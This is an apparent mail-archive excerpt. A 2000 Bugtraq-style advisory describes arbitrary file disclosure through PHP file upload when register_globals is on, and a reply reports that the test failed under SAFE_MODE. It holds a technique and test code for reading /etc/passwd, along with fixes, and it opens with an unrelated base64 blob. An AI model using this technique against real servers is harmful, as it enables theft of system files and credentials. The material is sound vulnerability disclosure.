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 AAA= --------------62BF1BFA59524577D0379239-- --bZFMCCSGaJLSEbZDTGCIGTaZQdMDDH Date: Mon, 4 Sep 2000 22:26:44 +0200 From: "Wouter de Jong (widexs.nl)" Subject: Re: (SRADV00001) Arbitrary file disclosure through PHP file upload (fwd) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Hello, I've tested the PHP security risk as described below, but it doesn't work for me. I tried it on several servers : Apache 1.3.12 with Apache 4.0.0 and PHP 4.0.1pl2 and PHP 4.0.2, all running in SAFE_MODE and track_vars 'on'. I think SAFE_MODE is _the_ solution to play secure against this. OUTPUT : (similar on all boxes, except for the UID's & script-location) Warning: SAFE MODE Restriction in effect. The script whose uid is 502 is not allowed to access /etc/passwd owned by uid 0 in /www/www.maddog2k.nl/public_html/test/uploading.php on line 2 Warning: fopen("/etc/passwd","r") - Success in /www/www.maddog2k.nl/public_html/test/uploading.php on line 2 Warning: Supplied argument is not a valid File-Handle resource in /www/www.maddog2k.nl/HTML5/test/uploading.php on line 2 Code : [HTML] [PHP] $data = addslashes(fread(fopen($utest,"r"), filesize($utest))); print "
$data
\n"; Met vriendelijke groet/With kind regards, Wouter de Jong Widexs BV > ---------- Forwarded message ---------- > Date: Mon, 4 Sep 2000 00:11:57 +1000 > From: Secure Reality Advisories > To: BUGTRAQ@SECURITYFOCUS.COM > Subject: (SRADV00001) Arbitrary file disclosure through PHP file upload > > ================================================= > Secure Reality Pty Ltd. Security Advisory #1 (SRADV00001) > http://www.securereality.com.au > ================================================= > > [Title] > Arbitrary file disclosure through PHP file upload > > [Released] > 04/09/2000 > > (We found this particular issue a while ago but were planning to disclose it > at a later date once we had a chance to investigate its imact on most > popular PHP software. However, the issue was recently half found/disclosed > by a poster on the php-general mailing list, who didn't appear to realise > its impact) > > [Vulnerable] > _Almost_ any PHP program which provides file upload capability > > [Overview] > PHP is a feature heavy web scripting language that has become widely > popular. One of its many features is easy handling of file uploads from > remote browsers. This functionality is very commonly used, particularly in > photo gallery, auction and webmail style applications. > > The way that PHP handles file uploads makes it simple to trick PHP > applications into working on arbitrary files local to the server rather than > files uploaded by the user. This will generally lead to a remote attacker > being able to read any file on the server that can be read by the user the > web server is running as, typically 'nobody'. > > [Impact] > 1. File disclosure > 2. (1) will often lead to disclosure of PHP code > 3. (2) will often lead to disclosure of database authentication data > 4. (3) may lead to machine compromise > > [Detail] > When files are uploaded to a PHP script, PHP receives the file, gives it a > random name and places it into a configured temporary directory. The PHP > script is given information about the file that was uploaded in the form of > 4 global variables. Presuming the file field in the form was called 'hello', > the 4 variables would be: > $hello = Name of temporary file (e.g '/tmp/ASHDjkjbs') > $hello_name = Name of file when it was on the remote computer (e.g > 'c:\hello.tmp) > $hello_type = Mime type of file (e.g 'text/plain') > $hello_size = Size of uploaded file (e.g 2000 bytes) > > The temporary file is automatically deleted at the end of the execution of > the script so the PHP script usually needs to move it somewhere else. For > example, it might copy the file into a blob in a MySQL database. > > The problem is actually in the way PHP behaves by default. Unless > deliberately configured otherwise (via register_globals = Off in php.ini) > the values specified in form fields upon a submit are auctomatically > declared by their form name as global variables inside the PHP script. > > If I had a form with an input field like > > > When the PHP script is called to handle the form input, the global variable > $test is set. In my opinion this is a significant security risk, in fact, > I'll be posting quite a few security issues based around it in the coming > weeks). The problem is simple, cluttering the global namespace with user > defined input so destablizes the environment that it is almost impossible to > write in it securely. > > Back to the issue at hand. Using the fact mentioned above, we can create the > four variables $hell, $hello_name, $hello_type, $hello_size ourselves using > form input like the following > > > > > > This should lead the PHP script working on the passwd file, usually > resulting in it being disclosed to the attacker. > > [Fix] > Unfortunately, I believe this style of problem to be impossible to fix with > the default behaviour/configuration of PHP, I'll be demonstrating this with > several adviories in the next few weeks. > > My suggestion to all administrators of PHP enabled boxes is to change the > register_globals in php.ini to off, and switch track_vars to on. This will > however lead to most PHP scripts breaking. In the short term, disable any > PHP scripts you have that provide file upload functionality until the vendor > of those scripts can provide a fix/determine non vulnerability. > > For PHP coders with little control over the configuration of the boxes they > work on. Hopefully track_vars has been enabled on the box. Check if 'hello' > is present in $HTTP_GET_VARS, $HTTP_POST_VARS or $HTTP_COOKIE_VARS, if it > is, ignore the input. > > [Disclaimer] > Advice, directions and instructions on security vulnerabilities in this > advisory do not constitute: an endorsement of illegal behaviour; a guarantee > that protection measures will work; an endorsement of any product or > solution or recommendations on behalf of Secure Reality Pty Ltd. Content is > provided as is and Secure Reality does not accept responsibity for any > damange or injury caused as a result of its use. > --bZFMCCSGaJLSEbZDTGCIGTaZQdMDDH--